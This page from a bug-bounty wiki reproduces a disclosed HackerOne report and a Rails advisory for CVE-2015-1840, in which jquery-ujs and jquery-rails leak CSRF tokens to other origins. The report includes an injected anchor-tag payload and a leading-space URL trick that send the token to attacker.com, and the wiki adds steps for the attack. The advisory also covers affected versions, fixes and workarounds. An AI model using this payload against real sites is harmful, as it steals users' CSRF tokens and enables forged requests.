Skip to content
CSRF Disclosed report Intermediate

rails-ujs will send CSRF tokens to other origins

The jquery-ujs and jquery-rails libraries fail to properly check the origin of URLs in data-remote links and forms, allowing an attacker who can control the href or action attribute to send the user's CSRF token to an attacker-controlled domain. This can bypass CSP protections and leak the token.

mastahyeti Follow

Originally disclosed on HackerOne

  • Triaged in under an hour
  • Fixed in 3 months
  • Paid in 7 months
  • Disclosed after 3 months

Summary by the program

CSRF Vulnerability in jquery-ujs and jquery-rails

There is an vulnerability in jquery-ujs and jquery-rails that can be used to bypass CSP protections and allows attackers to send CSRF tokens to attacker domains.

This vulnerability has been assigned the CVE identifier CVE-2015-1840.

Versions Affected: All. Not affected: Applications which don't use jquery-ujs or jquery-rails. Fixed Versions: jquery-rails versions 4.0.4 and 3.1.3 and jquery-ujs 1.0.4.

Impact

In the scenario where an attacker might be able to control the href attribute of an anchor tag or the action attribute of a form tag that will trigger a POST action, the attacker can set the href or action to " https://attacker.com" (note the leading space) that will be passed to JQuery, who will see this as a same origin request, and send the user's CSRF token to the attacker domain.

Releases

The FIXED releases are available at the normal locations.

Workarounds

To work around this problem, change code that allows users to control the href attribute of an anchor tag or the action attribute of a form tag to filter the user parameters.

For example, code like this:

link_to params 

to code like this:

link_to filtered_params 

def filtered_params 
  # Filter just the parameters that you trust 
end 

Patches

To aid users who aren't able to upgrade immediately we have provided patches for the supported release series. They are in git-am format and consist of a single changeset.

  • 1-0-3-jquery_ujs_csrf.patch - Patch for jquery-ujs 1.0.3.
  • 3-1-2-jquery-rails-csrf.patch - Patch for jquery-rails 3.1.2.
  • 4-0-3-jquery-rails-csrf.patch - Patch for jquery-rails 4.0.3.

Credits

Thanks to Ben Toews of GitHub for reporting the vulnerability to us, and working with us on a fix.

The report

I reported this via email a few months ago. Here was my initial email:

Hello, I've been playing with getting Rails apps to send CSRF tokens to the wrong domains and I found a few problems. The main motivation for this is in attacking a site that uses Content Security Policy. With CSP enabled, an attacker with an XSS vulnerability cannot simply inject inline JavaScript, but they can still abuse some Rails features to steal a CSRF token.

In the scenario where an attacker can inject arbitrary HTML into the response, the simplest attack would be to inject:

<a href="https://attacker.com" data-remote data-method="post" data-cross-domain="false">

Clicking on this link will trigger an OPTIONS request to attacker.com. If the attacker returns the correct CORS headers, a POST request containing the user's CSRF token will be sent to attacker.com.

In a second scenario, an attacker might be able to control only the href attribute of an anchor tag or the action attribute of a form tag that will trigger a data-remote action. This isn't uncommon to see if the site is building anchor or form tags dynamically. In this case, the attacker can set the href or action to " https://attacker.com". This will be passed to JQuery, who will see this as a same origin request.

The JQuery behavior can be found here and a similar bug in Zepto can be found here. In both these cases, weak regexes don't match the URL and the framework fails open into assuming that the URL is same origin. Prefixing the URL with a space character is one way to break this regex, but the regexes are pretty weak and there are probably other ways as well.

I'll contact the JQuery/Zepto folks about fixing their regexes, but there are a few thing that could improve this in jquery_ujs as well.

I don't think a data attribute (data-cross-domain) should be able to force jquery_ujs to send the CSRF token. The href attribute should be accessed directly here rather than calling attr("href"). When called directly, the browser does a lot to clean up the URL and make sure that it is well formed. This would address the space prefix issue. Some stronger protections could be added before calling CSRFProtection here. For links with data-method, but without data-remote, the origin isn't even checked before adding a CSRF token to the form. This could even be exploited accidentally. Origin checking should be added here

I haven't seen a bulletproof way for comparing origins yet, but I've got a few ideas if you want to discuss it more. Let me know what you think.

Thanks, Ben Toews GitHub Security

The original report as published on HackerOne, by mastahyeti. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the origin-checking regex in jQuery (and similar libraries) fails to match URLs with leading spaces, causing the library to incorrectly treat them as same-origin and include the CSRF token.

Impact

An attacker could steal a user's CSRF token, potentially bypassing CSP, though the attack requires the ability to inject HTML or control certain attributes.

What the attacker needed

Attacker can inject HTML or control href/action; victim clicks a link or submits a form

The fix

The vulnerability was fixed in jquery-rails versions 4.0.4 and 3.1.3 and jquery-ujs 1.0.4, and workarounds include filtering user-controlled parameters.

How it was found

  1. Inject an anchor tag with data-remote, data-method set to post, and a href pointing to the attacker's domain.
  2. When the victim clicks the link, jquery-ujs sends an OPTIONS request to the attacker's domain.
  3. If the attacker responds with permissive CORS headers, jquery-ujs sends a POST request containing the CSRF token to the attacker's domain.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

CSRF tokens are secret codes websites use to confirm a request comes from their own pages. This bug lets an attacker trick the site into sending that secret code to the attacker's server using a link or form with a tricky URL.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by mastahyeti

View all

1 more disclosed report, best first.

More from Ruby on Rails

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.